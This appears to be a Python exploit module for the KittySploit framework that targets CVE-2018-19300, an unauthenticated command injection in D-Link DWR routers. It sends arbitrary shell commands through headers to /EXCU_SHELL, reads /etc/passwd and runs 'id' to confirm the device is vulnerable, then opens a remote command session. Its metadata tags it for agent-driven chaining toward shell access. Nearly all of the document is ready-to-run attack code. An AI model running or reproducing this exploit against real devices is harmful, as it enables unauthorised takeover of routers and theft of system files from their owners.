D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DWR EXCU_SHELL unauthenticated RCE (CVE-2018-19300) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300)',
        'description': (
            'Exploits unauthenticated OS command injection on D-Link DWR devices via '
            '/EXCU_SHELL headers cmdnum/command1/confirm1.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-19300'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-19300'],
        'tags': ['dlink', 'router', 'iot', 'rce', 'cmdi', 'unauth', 'cve-2018-19300'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2018_19300_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='GET',
            path='/EXCU_SHELL',
            headers={'cmdnum': '1', 'command1': str(cmd), 'confirm1': 'n'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-19300 confirmed: /etc/passwd via EXCU_SHELL',
                'confidence': 'high',
            }
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-19300 confirmed: id output returned',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No command output observed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()